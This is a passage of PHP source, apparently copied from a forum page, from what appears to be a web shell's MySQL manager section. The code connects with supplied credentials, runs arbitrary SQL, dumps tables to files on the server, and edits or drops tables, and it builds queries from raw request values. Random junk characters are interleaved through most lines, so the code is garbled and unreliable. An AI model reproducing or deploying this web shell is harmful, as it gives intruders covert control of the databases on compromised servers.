  674.         makehide('doing');" d  N( V& }" Y# F* O
  675.         makehide('action','sqlfile');
    * t' j, R8 D# Q; {3 ?% Y
  676.         p('</form>');* y9 s$ y! t+ ^( S, ?8 m+ R
  677. }
    0 h+ o0 b; E' }  B

  678. & B" N/ ?- q7 f
  679. elseif ($action == 'sqladmin') {
      u6 {5 x+ z* X
  680.         !$dbhost && $dbhost = 'localhost';
    9 Z8 L( C: K* j# ~" x
  681.         !$dbuser && $dbuser = 'root';* V6 ?1 B+ V0 o! S
  682.         !$dbport && $dbport = '3306';4 }9 b: s. x6 h& d
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';$ z4 F/ g, O: D' J3 K
  684.         if(isset($dbhost)){
    / b8 @; V  \+ D- _4 z  U
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
    + g. ?( M; s9 Y& m
  686.         }9 A7 L( x* c9 k/ `
  687.         if(isset($dbuser)) {! g  v' S5 |7 v. |& Q; C) m
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";) d6 b* z$ w5 H  }- I
  689.         }
    ( {# \3 n7 j" Z7 b
  690.         if(isset($dbpass)) {
    : t! H1 M/ H$ J! E' m% \
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";2 z; S$ h% U0 ~% P
  692.         }
    ( h$ J. H- j/ [6 T
  693.         if(isset($dbport)) {
    ) v( t2 u5 R! q, K) a& @" b
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
    & t' j  o1 P0 [3 K9 D. h5 J
  695.         }7 r$ o7 i5 P8 C, v/ S
  696.         if(isset($dbname)) {$ N4 ?- Q7 u/ J2 Y6 v" c7 v6 d
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";4 Q/ r  \: |# y
  698.         }
    5 L- w3 [) C4 |" \% P, S
  699.         if(isset($charset)) {
    . S& H* R3 S8 |) ?9 b; x
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
    $ O( y& [0 l5 \
  701.         }
    + P% U' `0 H2 N+ W& F: u

  702. 2 j2 G/ [0 u9 V+ \
  703.         if ($doing == 'backupmysql' && $saveasfile) {+ p: z0 {& b$ Q; }; o$ l
  704.                 if (!$table) {0 l" i& @9 L6 c! K- f& }0 Y
  705.                         m('Please choose the table');/ M/ _& J$ B$ l& ^1 y
  706.                 } else {
    9 S7 C( s- |: X: }( y, K* [
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    8 G- U% q/ ^3 h, ?8 f1 R5 \/ R
  708.                         $table = array_flip($table);
    - N  I5 y7 F! |
  709.                         $fp = @fopen($path,'w');
    3 p: R3 M. Y0 u) j
  710.                         if ($fp) {, e" K4 }" X. G% M) [! h# _' ?
  711.                                 $result = q('SHOW tables');
    , I' K* L9 ^" Z( q8 z
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');2 H0 ?+ V1 p" e: ]& W5 \
  713.                                 $mysqldata = '';
    * F* i: z* @" q8 w
  714.                                 while ($currow = mysql_fetch_array($result)) {0 b- B3 F2 D3 g
  715.                                         if (isset($table[$currow[0]])) {! Y) J) Z8 @8 e' }4 p# R
  716.                                                 sqldumptable($currow[0], $fp);) L' u, j8 O0 e+ S: B+ ?5 s
  717.                                         }
    6 H# y5 j5 v9 y, d" `
  718.                                 }
    % F4 `8 p1 x# }4 \' Z0 V
  719.                                 fclose($fp);
    # Y: m6 m" E6 A4 {8 g6 c* Z% F
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
    * t9 M! y) u& Z- E
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');) y! K- q$ h8 [5 S
  722.                                 mysql_close();
    - g4 i- O; ~( n/ A# {5 \) [
  723.                         } else {, A* v, Y2 W9 o9 n- S
  724.                                 m('Backup failed');
    4 v4 c8 M- W5 H% W# r
  725.                         }' \& C& C5 o  L0 i6 @3 N
  726.                 }: n: R) p- u5 d
  727.         }1 ~2 @& q8 }1 y1 C3 f) K
  728.         if ($insert && $insertsql) {8 e( T" v* a: n7 M: N
  729.                 $keystr = $valstr = $tmp = '';2 m: u+ Z1 U- s% b
  730.                 foreach($insertsql as $key => $val) {
    4 G1 i0 o# k( W) V) t
  731.                         if ($val) {
    / ~, ?- h/ s: E& U
  732.                                 $keystr .= $tmp.$key;
    " L6 j9 T4 U' x- I! C2 Z
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";& n. k1 R7 O( X/ ?1 t. c4 \; G
  734.                                 $tmp = ',';: f3 x" y1 m1 H6 y" }2 m8 K
  735.                         }1 u6 }8 o( U4 U% B+ x
  736.                 }
    4 K& N+ O* q: V7 j* [' g% y
  737.                 if ($keystr && $valstr) {
    ! ^4 K  w3 e# z* \
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$ B" u! q7 b/ e
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
    3 y3 s% z, T9 ]# r% F0 V# ^
  740.                 }* X& O- S1 q5 L9 r+ U
  741.         }
    . S& H/ m2 ~) u: l
  742.         if ($update && $insertsql && $base64) {
    ! j; {" n! \. t* g
  743.                 $valstr = $tmp = '';
    ) H0 Z) H9 r- V; p/ ~
  744.                 foreach($insertsql as $key => $val) {0 e+ b: z; J# r! _
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
    8 D! [* y+ I1 x' ]; y
  746.                         $tmp = ',';0 L1 r- j0 N( X4 V+ u$ D
  747.                 }
    + m; J: W8 p6 |2 S1 ?" z. b, j
  748.                 if ($valstr) {+ p- K4 m+ k8 C; t4 T# o
  749.                         $where = base64_decode($base64);
    $ l5 K8 \% `! N% }$ g3 J
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    ) h2 k3 Y) d- T+ s' c. W6 M
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
    " L; X% W1 K# {2 ^
  752.                 }
    . h8 _  p0 S) w' n
  753.         }9 s" c. B8 M+ j' L7 {1 O
  754.         if ($doing == 'del' && $base64) {3 Y  a$ _4 H; r  w$ Q
  755.                 $where = base64_decode($base64);6 w$ N* Q0 ~& ]8 h& ?1 V1 h, \
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";8 w% Y+ ^3 ^1 i
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    8 Z4 r- r! ^. s4 m
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
    4 V1 Q6 Q6 a. Q
  759.         }  s5 H0 @, A# m9 ~: m0 \" P
  760. 3 n& B( c4 a& x: R0 g
  761.         if ($tablename && $doing == 'drop') {0 G2 T0 s( @+ @  w' {; Z
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    6 \& h0 X" W  p0 ]2 r
  763.                 if (q("DROP TABLE $tablename")) {$ v* i5 A! O, F, @0 H
  764.                         m('Drop table of success');
    4 [) O: i% n4 ~) V1 P$ P! l2 F
  765.                         $tablename = '';
    ( e( z) o% l- s3 ?2 P) M5 E; j& b
  766.                 } else {# z9 `- c% ^& I: _& Z, h" Z
  767.                         m(mysql_error());  @1 I; M/ B3 d" t" e( z7 k! ?
  768.                 }/ t! a  w% g( S1 k+ g' F4 ]9 D
  769.         }
    ' A- N$ M9 ]* ^2 _! a
  770. # B3 t/ d4 L' _) y
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    5 y1 F0 c( w# E! y$ w
  772. 8 C. ?$ f( l$ ?/ n1 y
  773.         formhead(array('title'=>'MYSQL Manager'));1 t: G! ]. ~& w. k) W
  774.         makehide('action','sqladmin');
    " D/ O0 M) z5 X: Q0 ^+ N- h
  775.         p('<p>');
    9 i/ P& e1 g- I
  776.         p('DBHost:');& a0 B) w  i3 l( n( d7 w" X* y+ g
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));4 w- _3 ~' X% Y3 l) N
  778.         p(':');
    0 y2 `- B5 }5 |5 W6 \
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));2 q9 G! K4 `* L# E& ^
  780.         p('DBUser:');0 {( t. ~& p- M, v! _1 ?- j2 a. M
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));' m, {1 C- O) f- \6 h. ~, I5 E
  782.         p('DBPass:');/ \% l4 `4 R6 {3 l! Y  T
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    1 a$ {" r# v( `9 N/ ~; X2 j
  784.         p('DBCharset:');9 z3 Y( @$ A  ^/ }- r& g; j' A
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));4 E/ }4 m0 f8 y- ?
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));7 m0 j  f/ a+ X% R
  787.         p('</p>');
    ) t/ p- _9 J, Z, D, B
  788.         formfoot();: T! G$ x; H8 B8 z0 h5 D
  789. ?>
    # e$ d: T; W7 p0 r; \- M2 w
  790. <script type="text/javascript">
    $ _$ S: p2 H' s$ u9 p2 Y0 J( A+ G
  791. function editrecord(action, base64, tablename){
    8 a9 Y% u1 E2 B' s6 E8 X
  792.         if (action == 'del') {               
    ' v/ @7 Q8 J; a" p- m. c( m3 m
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;
    , a' C+ j# m9 _3 g; E: g& \
  794.         }
      Y% n) H6 @  A: t
  795.         $('recordlist').doing.value=action;3 l0 }* i  C8 d0 L8 |6 ?2 Y
  796.         $('recordlist').base64.value=base64;: _3 f2 x8 r" e3 W6 ^1 ^
  797.         $('recordlist').tablename.value=tablename;
    5 p8 Y  a! f7 ]2 D0 ^
  798.         $('recordlist').submit();
    6 C7 c) A& U& D. S* b
  799. }, k8 `3 l: K) C: @1 c! E
  800. function moddbname(dbname) {# a0 t9 v  n5 V" ?8 [
  801.         if(!dbname) return;+ v. z7 c4 l) G* ?2 k9 D9 \" X1 y
  802.         $('setdbname').dbname.value=dbname;. {# P# h9 v8 p$ O0 ^
  803.         $('setdbname').submit();
      ?4 u, x! S: }! m/ l4 D2 o
  804. }! |1 x4 b' Y/ Q
  805. function settable(tablename,doing,page) {& n4 }; J( v2 a7 j
  806.         if(!tablename) return;. B& Z2 g% V# H8 x+ f2 r' V* K9 x
  807.         if (doing) {
    - Y5 i& `1 y9 \
  808.                 $('settable').doing.value=doing;
    7 u8 p9 i) F* |; U/ Q
  809.         }
    1 V7 B- |! L/ C( w( r7 J! O- z
  810.         if (page) {( K/ T, T2 o- l) h2 P5 R
  811.                 $('settable').page.value=page;" q1 g# P7 W; n
  812.         }- Q1 z" a- a* c8 N' B
  813.         $('settable').tablename.value=tablename;6 N6 O8 r+ D1 Z) W% X+ [
  814.         $('settable').submit();
    # s# d+ j  B, F! e  }0 o
  815. }
    2 v( `  ]  }) D- N+ L- w; h
  816. </script>
    1 G" M8 P$ I0 [* |; p  k* ^/ i
  817. <?php1 D$ h  d" P- v6 w. c' }, W! M
  818.         //操作记录* U$ ?  i7 x) ^. U3 S' ~6 k
  819.         formhead(array('name'=>'recordlist'));) u8 K  p7 e7 y; e; D
  820.         makehide('doing');9 v7 B2 Q; a; f
  821.         makehide('action','sqladmin');
    9 V7 N: v3 C0 _1 j
  822.         makehide('base64');! E# R  i  D; {' J7 e" R
  823.         makehide('tablename');
    ) I' y+ l7 ?  h! @+ Z
  824.         p($dbform);
    6 _4 i% f2 @. A6 l  o7 D
  825.         formfoot();+ m2 x+ U- P, d" t0 P6 D! e8 l6 K' v
  826.         //选定数据库
    8 z; A9 Y# A+ r* R8 o( d
  827.         formhead(array('name'=>'setdbname'));6 S" B/ U$ J1 K$ H9 x9 u
  828.         makehide('action','sqladmin');4 z; j! M2 B& x5 ^
  829.         p($dbform);- @/ V8 o# c  m  V! L" [5 v
  830.         if (!$dbname) {
    - ^: r! z* r2 ^. D2 g6 ~, G
  831.                 makehide('dbname');
    5 w1 N( d8 S  a& J; i
  832.         }1 e  J' |4 n5 b0 c* z' K8 O
  833.         formfoot();
    7 |2 N) g8 j5 n* u, v0 D% S! t# @
  834.         //选定表
    - P: Y2 i: a7 G7 x- n/ p1 c) ~, T
  835.         formhead(array('name'=>'settable'));, A: T, i1 s0 n8 _
  836.         makehide('action','sqladmin');
    & v- {  L1 y# b9 R6 I4 i! R
  837.         p($dbform);
    . P+ l4 M. W, W) e5 }, N) I0 S
  838.         makehide('tablename');" [2 l' R4 v3 X( f. S
  839.         makehide('page',$page);
    ' S2 z& g. j( X0 c9 v, X+ g+ ~* h
  840.         makehide('doing');6 a' z9 ^( ]+ z7 X% Y1 N# t3 x
  841.         formfoot();; t8 l5 e8 C# g# e- h
  842.         $cachetables = array();       
    " \' c- |% x7 O* E9 D7 x
  843.         $pagenum = 30;; f0 H7 D+ A. N8 Z* D; T
  844.         $page = intval($page);
    ' S2 G7 o' F1 x3 u6 J
  845.         if($page) {
      n+ P4 i; I0 ~1 _+ X8 c
  846.                 $start_limit = ($page - 1) * $pagenum;
    0 V: Z% C! k$ I; d. |' f
  847.         } else {8 D5 k4 @: I7 b0 a" [
  848.                 $start_limit = 0;+ S' v5 o6 x; J0 {7 d0 l
  849.                 $page = 1;+ w3 V4 e5 q4 B
  850.         }7 O2 {  I9 Q; p; `' B+ P
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
    . h9 `) {. o' [- |- G6 |/ c1 n
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);9 t; A9 K; U# {" ^" A) w
  853.                 //获取数据库信息
    ' q( q! R, b- b; L
  854.                 $mysqlver = mysql_get_server_info();. Z, [4 ]2 ?- O+ @( r3 R0 ^
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');# z5 ~1 B6 I4 J4 |9 Z6 ?
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
    0 \5 ]) ?, j7 }. m
  857.                 //获取数据库& J' Y2 j& H5 v, K
  858.                 $query = q("SHOW DATABASES");
    9 r# s$ d9 U3 R9 `$ G- R5 w3 b& ^
  859.                 $dbs = array();
    ' q/ v+ o/ X( J7 ]& k
  860.                 $dbs[] = '-- Select a database --';: Z% Y& s# m9 P3 I4 b% t
  861.                 while($db = mysql_fetch_array($query)) {
    + q: l, J3 ?! w+ d8 L
  862.                         $dbs[$db['Database']] = $db['Database'];
    : l! O& F, B. z
  863.                 }0 O: x# D$ y9 M! E- s6 ~4 `
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
    % |0 \- l$ G. U" L3 E8 M% m
  865.                 $tabledb = array();
    5 M. W) h- a4 A. b
  866.                 if ($dbname) {
    . U8 B! M: F7 o4 a% F( j3 p" s
  867.                         p('<p>');7 E% |' E, G8 ~' x6 u/ H* F
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');9 X8 L) i& h2 c
  869.                         if ($tablename) {
    / x! h9 {$ h- L  G; n9 Z
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');; w7 w* A! r, v: u' b% c% _
  871.                         }
    , V4 ?$ s" T9 Z1 x) X5 Y( u
  872.                         p('</p>');- L! D: l2 w1 e
  873.                         mysql_select_db($dbname);
    0 I! r! S1 B9 r. i2 V; @
  874.                         $getnumsql = '';) j# i0 D. n" i$ D* ]4 M
  875.                         $runquery = 0;: j; q; S  }! ^5 M9 r$ @" P4 ~
  876.                         if ($sql_query) {2 c5 l6 N6 g2 e1 S1 S
  877.                                 $runquery = 1;
    9 M8 X: _2 _  O
  878.                         }
    7 M- a' `; J  Q% \
  879.                         $allowedit = 0;
    8 s; h, p7 s9 Y9 w. {; I  A7 H
  880.                         if ($tablename && !$sql_query) {
    2 n/ N9 h' L5 y- f8 |
  881.                                 $sql_query = "SELECT * FROM $tablename";" v/ {: K( n+ A7 ?5 H/ L
  882.                                 $getnumsql = $sql_query;. _, h, w9 D1 H5 t+ p
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";7 x* g8 Q( X* l* Q3 i- S+ q( r0 d
  884.                                 $allowedit = 1;$ s. \: [* M+ j
  885.                         }
    % @6 p. ?' z% k; \' Y9 E
  886.                         p('<form action="'.$self.'" method="POST">');: ]4 L3 Z' k8 r% c" ^5 R# q/ b
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
    1 k) O2 g5 I/ ?: E  \* u% V( U
  888.                         makehide('tablename', $tablename);. s7 u% ]5 P' G! f: H5 F2 q( t3 k7 v6 V8 c, w
  889.                         makehide('action','sqladmin');2 Z4 C( M0 Z( f7 ]
  890.                         p($dbform);. H9 V% l# ^' t6 v% a) l0 D
  891.                         p('</form>');
    ) c* B& E! Z" p! K
  892.                         if ($tablename || ($runquery && $sql_query)) {. i+ u' f( x+ b' p- }( F% R
  893.                                 if ($doing == 'structure') {
    & I! ?$ t$ k2 z
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");
    * N5 C5 U5 \) U5 f/ t
  895.                                         $rowdb = array();/ Q' U% |: {& f6 l7 }$ }2 h- H
  896.                                         while($row = mysql_fetch_array($result)) {
    ; D, W& w; H0 R" Z
  897.                                                 $rowdb[] = $row;5 D! _9 o+ H6 i) h. C
  898.                                         }3 C6 ]# @* g6 n5 Y5 R4 b1 V* Q
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');" A# q$ s; e+ _5 r/ K; Y! L
  900.                                         p('<tr class="head">');: W( i. }9 c* I% \- k1 I6 S7 O
  901.                                         p('<td>Field</td>');+ H+ w. ]) h1 V* b( W
  902.                                         p('<td>Type</td>');
    . S% l6 D& T( ?. h% j; B, ^' j
  903.                                         p('<td>Null</td>');
    4 |3 o, U( q. m5 O' e
  904.                                         p('<td>Key</td>');
    ! |8 l1 o$ |- F% u
  905.                                         p('<td>Default</td>');
    + m5 k& \2 `: p- _
  906.                                         p('<td>Extra</td>');2 }, \% C& s0 m
  907.                                         p('</tr>');8 [" K, b1 F, _- ^) O0 [
  908.                                         foreach ($rowdb as $row) {& K1 z/ C# Z* Y5 ?8 {6 s3 ]: k
  909.                                                 $thisbg = bg();
    + f. q/ m" O0 C& M2 H
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    . \" B( V" _- e" |/ Z
  911.                                                 p('<td>'.$row['Field'].'</td>');
    8 A/ a0 c: U1 v. k! K# z& ]
  912.                                                 p('<td>'.$row['Type'].'</td>');( `; ~5 `  W. J
  913.                                                 p('<td>'.$row['Null'].' </td>');
    1 J9 O: W/ u$ }: |. y6 T' b/ L2 D
  914.                                                 p('<td>'.$row['Key'].' </td>');" B- v1 N# W$ X! e7 d. V
  915.                                                 p('<td>'.$row['Default'].' </td>');
    ' ?; i/ Q4 o4 Y9 f- |' A2 g; G
  916.                                                 p('<td>'.$row['Extra'].' </td>');
    / i# Q- `2 z. G" v3 t9 _: W
  917.                                                 p('</tr>');
    7 r3 \( p0 W& i
  918.                                         }
    ; R5 w( J8 [' ?+ x: T% o
  919.                                         tbfoot();
    ; @) V* ^8 X4 A$ q7 y& y
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {' a1 t( a: O# U0 Q4 u) c, f; v( l: E9 v
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);9 ^3 Q3 e9 D# s* ^
  922.                                         while ($row = mysql_fetch_array($result)) {
    + V$ `; b. k( t; |$ `5 S
  923.                                                 $rowdb[] = $row;
    7 f7 w' u. D/ v2 z6 B  }, \
  924.                                         }$ B! t9 \2 Z0 W  j2 I& D
  925.                                         $rs = array();
    ' O8 v3 m; w1 W. Y
  926.                                         if ($doing == 'insert') {
    2 {- }, g5 L# D5 b; v
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    . B' h' t7 A: w9 z2 m& p
  928.                                         } else {% Q& v" u1 ]# h+ e- W% M& X
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
    - C" g5 b: p/ x' [& J% \( p
  930.                                                 $where = base64_decode($base64);
    ; Y" E+ _4 Q: D) ?4 _
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
    0 z" H" r1 y# b/ @
  932.                                                 $rs = mysql_fetch_array($result);
    ; M- u% v( O& m( u! x( j) p
  933.                                         }
    / J" t, @% H) j0 I* G
  934.                                         p('<form method="post" action="'.$self.'">');
    ) N, s' K' J7 {7 @
  935.                                         p($dbform);* c9 E7 u+ O6 f4 Z* d4 U2 H5 I/ M
  936.                                         makehide('action','sqladmin');& w: k3 ?' k) _5 ]- I
  937.                                         makehide('tablename',$tablename);! z( M0 ]. G, o7 I; L0 Z/ F
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    + }! H# p! q' k7 [; |
  939.                                         foreach ($rowdb as $row) {6 G% M: J3 j; [
  940.                                                 if ($rs[$row['Field']]) {
    5 A5 _& @1 Q  U7 j. H
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
    % K6 o; }. f% R7 H+ L
  942.                                                 } else {
    & O5 L9 D! K& q4 f! G
  943.                                                         $value = '';* t7 L- b5 o( Q& S: H! ]! Y& g
  944.                                                 }
    1 ?7 g2 R- K+ H
  945.                                                 $thisbg = bg();
    ; ]# l: T; O5 i( x: D% |/ [
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    ( r6 x! H1 t  \
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
    2 x, h# q2 M2 G6 D/ z# V# u& S
  948.                                         }
    : h* p% I# `0 v1 L$ e
  949.                                         if ($doing == 'insert') {( S" ]0 `. m) h
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
    # E$ v. U2 Z& b# W; s3 }
  951.                                         } else {# A# O( f3 ]2 t& ^
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');1 S( A, B  ^1 x' |" h$ P
  953.                                                 makehide('base64', $base64);$ H4 x# m0 n( w6 d! b. g. s4 n
  954.                                         }
    # B  j" z' @/ Z& }& u
  955.                                         p('</table></form>');
    ! h% j. [# s  H% z. n
  956.                                 } else {
    8 x; p& p4 D$ s
  957.                                         $querys = @explode(';',$sql_query);+ q5 a3 C6 m# Z
  958.                                         foreach($querys as $num=>$query) {
    $ }9 z! h; D; o6 [
  959.                                                 if ($query) {
    : L: }9 m# Y4 P  p$ o. a+ e/ v" c$ d
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");1 }& u" Q, m) o0 }
  961.                                                         switch(qy($query))
    6 R$ F3 _  a+ w# ^7 [  j
  962.                                                         {  i. F  s4 I: e. k2 G' ]
  963.                                                                 case 0:
    9 A9 T2 W0 S' q! `" Q# }, e
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
    1 w' J  z9 r8 X* c* C- D6 R
  965.                                                                         break;        0 S6 \# E; d- C  {+ e
  966.                                                                 case 1:4 k9 ]+ ]; n& n* V0 b
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
    $ |5 O) f6 h, H3 U
  968.                                                                                 $allowedit = 1;0 k; ~. Q( _$ t) d. U  C8 N
  969.                                                                         }
    0 a: t4 @- w1 P4 Y
  970.                                                                         if ($getnumsql) {7 U2 O/ G3 M$ ~" u
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
    % u6 A7 y" @0 R/ A! A
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
    * \7 M1 x+ D" y3 \7 K& A/ j4 q
  973.                                                                         }( g. m* ]' n% z, g' i! h( }
  974.                                                                         if (!$tablename) {
    1 H9 \8 I7 j0 t1 t  J' V9 u! R5 ^
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
    , t) |% F$ P; o  |1 w/ L  e
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
      u) r2 O( |6 m, S4 q
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);! R( N! t% ]. \9 H0 i, H/ l
  978.                                                                                 $tablename = $matches[1][0];) X- O0 {9 R1 h5 ?* k9 `
  979.                                                                         }
    2 P9 h4 y% f4 X
  980.                                                                         $result = q($query);4 n1 ~6 s7 O5 C! X' _: ^+ b
  981.                                                                         p($multipage);
    $ j! p- ^8 @* t. E! ?: O4 }
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    " `7 r/ n: b* V- W! Z4 C8 L
  983.                                                                         p('<tr class="head">');2 a- \( U0 F9 f
  984.                                                                         if ($allowedit) p('<td>Action</td>');! i; @# g5 i8 k1 c% t  B/ J) o
  985.                                                                         $fieldnum = @mysql_num_fields($result);
    4 B( r6 q( F& ?% x# }
  986.                                                                         for($i=0;$i<$fieldnum;$i++){1 L+ I- A2 Q" M0 D% j
  987.                                                                                 $name = @mysql_field_name($result, $i);
    ; z6 r* i: T( ]. l5 b( _# L0 P* Q
  988.                                                                                 $type = @mysql_field_type($result, $i);
      m- Q5 H, c" P. {& H" c* _. K
  989.                                                                                 $len = @mysql_field_len($result, $i);
    0 D  L; ], h* ^9 H) P7 G
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");5 J* U; p! E  q% w/ Q
  991.                                                                         }
    1 K9 `  a& J) p1 h
  992.                                                                         p('</tr>');
    * `. V8 [! a& a
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){
    / p6 m. x) j1 B0 q# m3 Q/ |2 Y- z
  994.                                                                                 $thisbg = bg();
    ; ^! [# [7 _3 b5 W: x& t+ U
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    6 t% j" I5 J" t
  996.                                                                                 $where = $tmp = $b1 = '';
    # v- [0 y4 r0 G( r! Z
  997.                                                                                 foreach($mn as $key=>$inside){" @, o* U0 A- v2 \' f  X
  998.                                                                                         if ($inside) {6 o- u5 U9 J5 z& a# i7 V& t7 O) i
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";, o6 \0 v2 ^( P8 H, G
  1000.                                                                                                 $tmp = ' AND ';
    % h0 a1 f, h1 f" a# R8 [
  1001.                                                                                         }" ^. i# j* S$ L# Y
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
    & g. a+ W6 ~1 j# t% M
  1003.                                                                                 }- R! I3 N" c: T
  1004.                                                                                 $where = base64_encode($where);
    3 V- m* |: a8 @4 a" u, A% T: g3 w# q
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');2 P4 ?0 i, X$ [4 ?* {
  1006.                                                                                 p($b1);! ~( ]3 g& `6 \6 \5 O8 m7 n3 N: ^
  1007.                                                                                 p('</tr>');* H- a  ?7 q! V7 r) n
  1008.                                                                                 unset($b1);7 `$ W0 `: s- m
  1009.                                                                         }
    ! ]" w  I. c, z+ m
  1010.                                                                         tbfoot();, ^8 ~. E7 t, I' f/ [+ d
  1011.                                                                         p($multipage);
    ( O& |9 i" E+ W4 r5 ?: E4 ~
  1012.                                                                         break;       
    - b. g& W3 b1 m% f1 A
  1013.                                                                 case 2:
    1 U2 ]* o9 A+ x7 P' `0 l. E  X9 z3 B, H2 g
  1014.                                                                         $ar = mysql_affected_rows();
    , b( f+ s6 L* g% k1 s7 v7 {
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');- J3 E4 ~, Q1 R5 N- i) n
  1016.                                                                         break;
    % B  a. o; E+ i% v6 A
  1017.                                                         }
    5 I$ X& D( L' n/ y" U# k
  1018.                                                 }* Q* V5 o# [6 x; j: R9 H2 i
  1019.                                         }
    % U7 e, t8 E( \2 |8 ~: Z
  1020.                                 }
    9 S( {  F* x3 W) T2 V. T) @. ]
  1021.                         } else {' L% p" l4 r* T# j4 y
  1022.                                 $query = q("SHOW TABLE STATUS");
    6 b$ F. v8 T/ y! F! E0 T) f9 y8 H
